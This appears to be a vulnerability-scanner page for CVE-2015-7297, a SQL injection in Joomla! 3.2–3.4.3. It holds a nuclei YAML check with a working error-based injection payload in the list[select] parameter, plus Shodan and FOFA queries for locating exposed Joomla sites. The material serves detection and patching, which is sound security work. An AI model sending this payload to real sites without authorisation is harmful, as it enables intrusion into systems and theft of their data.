Joomla! Core SQL Injection

highseverity

7.5CVSS score

100%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A SQL injection vulnerability in Joomla! 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Joomla! CMS.

Fix

Apply the latest security patches and updates provided by Joomla! to mitigate the SQL Injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5({{num}})),1)
Positive when: contains "{{md5({{num}})}}"

Run it with nuclei: nuclei -id CVE-2015-7297 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-7297

info:
  name: Joomla! Core SQL Injection
  author: princechaddha
  severity: high
  description: A SQL injection vulnerability in Joomla! 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Joomla! CMS.
  remediation: |
    Apply the latest security patches and updates provided by Joomla! to mitigate the SQL Injection vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2015-7297
    - http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html
    - https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/
    - http://packetstormsecurity.com/files/134097/Joomla-3.44-SQL-Injection.html
    - http://packetstormsecurity.com/files/134494/Joomla-Content-History-SQL-Injection-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2015-7297
    cwe-id: CWE-89
    epss-score: 0.99967
    epss-percentile: 0.99976
    cpe: cpe:2.3:a:joomla:joomla\!:3.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla\!
    shodan-query:
      - http.html:"joomla! - open source content management"
      - http.component:"joomla"
      - cpe:"cpe:2.3:a:joomla:joomla\!"
    fofa-query: body="joomla! - open source content management"
  tags: cve2015,cve,packetstorm,joomla,sqli,vuln,vkev
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5({{num}})),1)"

    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

References

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